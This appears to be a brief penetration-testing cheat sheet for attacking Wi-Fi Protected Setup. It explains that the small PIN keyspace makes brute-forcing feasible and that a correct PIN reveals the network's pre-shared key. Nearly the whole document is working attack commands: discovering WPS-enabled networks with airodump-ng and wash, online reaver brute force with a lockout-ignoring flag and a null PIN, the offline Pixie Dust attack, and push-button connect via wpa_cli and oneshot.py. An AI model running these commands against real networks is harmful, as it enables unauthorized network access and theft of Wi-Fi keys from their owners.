WPS

Wireless Protected Setup (WPS) allows for quick pairing of devices to SSIDs through a supplied PIN or physical push-button. Due to a small keyspace, the PIN can commonly be bruteforced online or offline. Successfully authenticating with the pin will return the wireless PSK.

# Discover WPS-enabled SSIDs
airodump-ng --wps --ignore-negative-one wlan0mon
wash -i wlan0mon

# Online Brute-force Attacks (aircrack does not work with reaver)
iw dev wlan0 interface add mon0 type monitor
ifconfig mon0 up
reaver -i mon0 -b [target BSSID] -c 1 # "-L" to ignore lockouts
reaver -b [target BSSID] -c 1 -i mon0 -p " " # Null PIN

# Offline Brute-force Attacks (Pixie Dust)
reaver -i mon0 -b [target BSSID] -c 1 -K

# Push Button Connect
wpa_cli wps_pbc [target BSSID]
oneshot.py -i mon0 --pbc